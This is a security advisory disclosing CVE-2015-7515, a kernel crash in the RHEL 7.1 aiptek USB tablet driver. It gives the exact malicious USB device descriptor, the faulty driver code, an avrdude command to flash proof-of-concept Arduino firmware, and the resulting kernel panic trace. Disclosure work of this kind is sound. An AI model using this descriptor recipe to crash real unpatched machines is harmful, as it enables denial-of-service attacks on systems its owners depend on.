Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'aiptek' Nullpointer Dereference

OS-S Security Advisory 2016-05

Linux aiptek Nullpointer Dereference



Date: March 4th, 2016

Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg

CVE: CVE-2015-7515

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid 

USB device descriptors (aiptek driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 

CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12th 2015

PDF of Advisory: https://os-s.net/advisories/OSS-2016-05_aiptek.pdf



Abstract:

The Kernel 3.10.0-229.20.1.el7.x86_64 crashes when presented a buggy USB 

device using the aiptek driver.



Detailed product description:

We confirmed the bug on the following system:

RHEL 7.1

Kernel 3.10.0-229.20.1.el7.x86_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.



Description:

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 

(github.com/schumilo) using the following device descriptor:



[*] Device-Descriptor

bLength:	0x12

bDescriptorType:	0x1

bcdUSB:	0x200

bDeviceClass:	0x3

bDeviceSubClass:	0x0

bDeviceProtocol:	0x0

bMaxPacketSize:	0x40

idVendor:	0x458

idProduct:	0x5003

bcdDevice:	0x100

iManufacturer:	0x1

iProduct:	0x2

iSerialNumbers:	0x3

bNumConfigurations:	0x1

[*] Configuration-Descriptor

bLength:	0x9

bDescriptorType:	0x2

wTotalLength:	0x27

bNumInterfaces:	0x1

bConfigurationValue:	0x1

iConfiguration:	0x0

bmAttributes:	0x0

bMaxPower:	0x31

[*] Interface-Descriptor

bLength:	0x9

bDescriptorType:	0x4

bInterfaceNumber:	0x0

bAlternateSetting:	0x0

bNumEndpoints:	0x0

bInterfaceClass:	0x0

bInterfaceSubClass:	0x0

bInterfaceProtocol:	0x0

[*] Endpoint-Descriptor:

bLength:	0x7

bDescriptorType:	0x5

bEndpointAddress:	0x81

bmAttribut:	0x3

wMaxPacketSize:	0x404

bInterval:	0xc

[*] Endpoint-Descriptor:

bLength:	0x7

bDescriptorType:	0x5

bEndpointAddress:	0x1

bmAttribut:	0x2

wMaxPacketSize:	0x4

bInterval:	0xc

[*] Endpoint-Descriptor:

bLength:	0x7

bDescriptorType:	0x5

bEndpointAddress:	0x82

bmAttribut:	0x1

wMaxPacketSize:	0x4

bInterval:	0xc



The aiptek driver assumes that there will be at least one endpoint-descriptor.

If the interface-descriptor contains a zero-value for bNumEndpoints or no 

endpoint-descriptor is provided, the driver tries to dereference a null-

pointer and the kernel crashes:



****

$ nm aiptek.ko.debug | grep aiptek_probe

0000000000001ea0 t aiptek_probe

$ addr2line -e aiptek.ko.debug 2303

/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_

64/drivers/input/tablet/aiptek.c:1830

****



**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/aiptek.c)



1822 endpoint = &intf->altsetting[0].endpoint[0].desc; /* Nullpointer */

1823

1824 /* Go set up our URB, which is called when the tablet receives

1825 * input.

1826 */

1827 usb_fill_int_urb(aiptek->urb,

1828 aiptek->usbdev,

1829 usb_rcvintpipe(aiptek->usbdev,

1830 endpoint->bEndpointAddress), /* Nullpointer-

Dereference */

1831 aiptek->data, 8, aiptek_irq, aiptek,

1832 endpoint->bInterval);

****



Proof of Concept:

For a proof of concept, we are providing an Arduino Leonardo firmware file. This 

firmware will emulate the defective USB device.



avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 

flash:w:binary.hex



The firmware has been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to 

connect port D3 and 3V3!



Severity and Ease of Exploitation:

The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, 

only physical access to the system is required.



Vendor Communication:

We contacted Red Hat on the November, 12th 2015.

A patch was provided on the November, 25th 2015.



References:

https://bugzilla.redhat.com/show_bug.cgi?id=1285326

https://bugzilla.redhat.com/show_bug.cgi?id=1283350



Kernel Stacktrace:



[ 622.149957] usb 1-1: new full-speed USB device number 2 using xhci_hcd

[ 622.354485] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint 

descriptors, different from the interface descriptor's value: 0

[ 622.386630] usb 1-1: New USB device found, idVendor=0458, idProduct=5003

[ 622.392414] usb 1-1: New USB device strings: Mfr=1, Product=2, 

SerialNumber=3

[ 622.399416] usb 1-1: Product: Ä?

[ 622.404640] usb 1-1: Manufacturer: Ä?

[ 622.410079] usb 1-1: SerialNumber: %

[ 622.444650] BUG: unable to handle kernel NULL pointer dereference at 

0000000000000002

[ 622.445019] IP: [<ffffffffa0395303>] aiptek_probe+0x463/0x658 [aiptek]

[ 622.445019] PGD 0 

[ 622.445019] Oops: 0000 [#1] SMP 

[ 622.445019] Modules linked in: aiptek(+) ip6t_rpfilter ip6t_REJECT 

ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc 

ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 

nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter 

ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat 

nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter 

ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper 

drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c 

sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix 

libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod

[ 622.445019] CPU: 0 PID: 2242 Comm: systemd-udevd Not tainted 

3.10.0-229.14.1.el7.x86_64 #1

[ 622.445019] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 

rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014

[ 622.445019] task: ffff88000e65a220 ti: ffff88000f4cc000 task.ti: ffff88000f4cc000

[ 622.445019] RIP: 0010:[<ffffffffa0395303>] [<ffffffffa0395303>] 

aiptek_probe+0x463/0x658 [aiptek]

[ 622.445019] RSP: 0018:ffff88000f4cfb80 EFLAGS: 00010286

[ 622.445019] RAX: 0000000000000000 RBX: ffff88000bd67800 RCX: ffff88000bcd0800

[ 622.445019] RDX: 0000000000000000 RSI: 0000000000000008 RDI: ffff88000ca29000

[ 622.445019] RBP: ffff88000f4cfbe0 R08: 0000000000000000 R09: 0000000000000000

[ 622.445019] R10: ffff88000e401400 R11: ffffffff810020d8 R12: ffff88000c525800

[ 622.445019] R13: ffff88000c525830 R14: ffff88000bcd1800 R15: ffff88000bd67834

[ 622.445019] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 

knlGS:0000000000000000

[ 622.445019] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b

[ 622.445019] CR2: 0000000000000002 CR3: 000000000d67f000 CR4: 

00000000000006f0

[ 622.445019] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 

0000000000000000

[ 622.445019] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400

[ 622.445019] Stack:

[ 622.445019] ffff88000bcd0800 0000000000000001 0000019000000246 

0000019000000032

[ 622.445019] 0000006400000019 0000012c000000c8 000000000cc3e092 

ffff88000bcd0890

[ 622.445019] ffff88000bcd0800 ffffffffa0397068 ffff88000c525830 ffffffffa03965c0

[ 622.445019] Call Trace:

[ 622.445019] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0

[ 622.445019] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390

[ 622.445019] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0

[ 622.445019] [<ffffffff813d3420>] ? __device_attach+0x40/0x40

[ 622.445019] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0

[ 622.445019] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20

[ 622.445019] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0

[ 622.445019] [<ffffffff813d3b34>] driver_register+0x64/0xf0

[ 622.445019] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160

[ 622.445019] [<ffffffffa039a000>] ? 0xffffffffa0399fff

[ 622.445019] [<ffffffffa039a01e>] aiptek_driver_init+0x1e/0x1000 [aiptek]

[ 622.445019] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230

[ 622.445019] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40

[ 622.445019] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0

[ 622.445019] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150

[ 622.445019] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0

[ 622.445019] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b

[ 622.445019] Code: 45 31 c9 45 31 c0 b9 ff 03 00 00 be 08 00 00 00 4c 89 f7 

e8 90 39 0d e1 49 8b 04 24 48 8b 4b 08 48 8b bb 10 01 00 00 48 8b 40 18 <0f> 

b6 50 02 0f b6 70 06 8b 01 c1 e2 0f c1 e0 08 81 ca 80 00 00 

[ 622.445019] RIP [<ffffffffa0395303>] aiptek_probe+0x463/0x658 [aiptek]

[ 622.445019] RSP <ffff88000f4cfb80>

[ 622.445019] CR2: 0000000000000002

[ 622.860772] ---[ end trace b239663354a1c556 ]---

[ 622.864813] Kernel panic - not syncing: Fatal exception

[ 622.865768] drm_kms_helper: panic occurred, switching back to text console



Arduino Leonardo Firmware:



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